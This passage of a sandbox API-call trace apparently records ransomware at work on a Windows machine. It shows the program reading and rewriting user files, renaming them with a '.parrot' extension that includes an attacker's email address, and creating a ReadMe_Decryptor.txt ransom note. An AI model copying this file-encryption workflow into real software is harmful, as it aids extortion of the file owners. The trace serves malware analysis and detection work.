hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0033.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0033.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbf98 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.536] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cbf98 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60cdc0 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x60cea0 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cc550 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cea0 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0033.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0033.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0033.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0033.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0033.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0033.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0033.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0033.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0033.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0033.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0033.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x649228 [0033.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0033.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6552a8 [0033.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0033.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6599f8 [0033.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552a8 | out: hHeap=0x5b0000) returned 1 [0033.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6604d8 [0033.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6599f8 | out: hHeap=0x5b0000) returned 1 [0033.539] WriteFile (in: hFile=0x264, lpBuffer=0x6604e0*, nNumberOfBytesToWrite=0x7b98, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x6604e0*, lpNumberOfBytesWritten=0x18f4b4*=0x7b98, lpOverlapped=0x0) returned 1 [0033.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6604d8 | out: hHeap=0x5b0000) returned 1 [0033.539] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7b97, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0033.539] CloseHandle (hObject=0x264) returned 1 [0033.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5cbf98 [0033.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x5cc550 [0033.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.540] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\oppUz5cwhPPNL2Xw-Y06.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\oppuz5cwhppnl2xw-y06.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\oppUz5cwhPPNL2Xw-Y06.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\oppuz5cwhppnl2xw-y06.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0033.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0033.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0033.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0033.701] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0033.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5cbf98 [0033.704] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0033.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0033.755] GetFileType (hFile=0x264) returned 0x1 [0033.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0033.769] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0033.880] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5202e3d0, ftCreationTime.dwHighDateTime=0x1d5c13b, ftLastAccessTime.dwLowDateTime=0xa4e8d7e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa4e8d7e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.880] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a43870, ftCreationTime.dwHighDateTime=0x1d5c10a, ftLastAccessTime.dwLowDateTime=0x92d02790, ftLastAccessTime.dwHighDateTime=0x1d5c548, ftLastWriteTime.dwLowDateTime=0xa4e67680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="li2GnU1.docx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LI2GNU~1.PAR")) returned 1 [0033.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0033.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0033.880] lstrcmpW (lpString1="li2GnU1.docx.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5cbf98 [0033.880] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eaa9ea0, ftCreationTime.dwHighDateTime=0x1d5c44f, ftLastAccessTime.dwLowDateTime=0x400df820, ftLastAccessTime.dwHighDateTime=0x1d5c205, ftLastWriteTime.dwLowDateTime=0xa4e8d7e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x7b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="oppUz5cwhPPNL2Xw-Y06.bmp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OPPUZ5~1.PAR")) returned 1 [0033.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x606a50 [0033.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0033.880] lstrcmpW (lpString1="oppUz5cwhPPNL2Xw-Y06.bmp.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606a50 [0033.880] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e67680, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa4e67680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa50c8c80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0033.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0033.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.880] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0033.880] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e67680, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa4e67680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa50c8c80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0033.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0033.880] FindClose (in: hFindFile=0x600410 | out: hFindFile=0x600410) returned 1 [0033.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0033.881] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94ae11f0, ftCreationTime.dwHighDateTime=0x1d5bffb, ftLastAccessTime.dwLowDateTime=0xc7cb2f60, ftLastAccessTime.dwHighDateTime=0x1d5bc5d, ftLastWriteTime.dwLowDateTime=0xc7cb2f60, ftLastWriteTime.dwHighDateTime=0x1d5bc5d, nFileSizeHigh=0x0, nFileSizeLow=0x164e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="kFnn6zs-dVx.wav", cAlternateFileName="KFNN6Z~1.WAV")) returned 1 [0033.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0033.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.881] lstrcmpW (lpString1="kFnn6zs-dVx.wav", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.881] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\kFnn6zs-dVx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kfnn6zs-dvx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x260 [0033.881] GetFileSize (in: hFile=0x260, lpFileSizeHigh=0x18f820 | out: lpFileSizeHigh=0x18f820*=0x0) returned 0x164e3 [0033.881] LockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x165fb, nNumberOfBytesToLockHigh=0x0) returned 1 [0033.881] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0033.881] ReadFile (in: hFile=0x260, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0033.881] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.884] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x164e3, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x164e3, lpOverlapped=0x0) returned 1 [0033.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0033.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0033.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0033.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0033.896] GetLastError () returned 0x0 [0033.896] SetLastError (dwErrCode=0x0) [0033.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0033.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0033.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0033.899] GetLastError () returned 0x0 [0033.899] SetLastError (dwErrCode=0x0) [0033.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.899] GetLastError () returned 0x0 [0033.899] SetLastError (dwErrCode=0x0) [0033.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0033.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0033.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0033.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0033.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x639220 [0033.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0033.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x63d260 [0033.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0033.990] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6452a0 [0033.991] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d260 | out: hHeap=0x5b0000) returned 1 [0033.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6552e0 [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452a0 | out: hHeap=0x5b0000) returned 1 [0033.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.993] GetLastError () returned 0x0 [0033.993] SetLastError (dwErrCode=0x0) [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0033.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606b58 [0033.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d2058 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0033.994] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d21e0 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x606b58 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d21e0 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cc550 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60cdc0 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0033.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0033.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0033.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0033.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0033.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0033.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0033.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 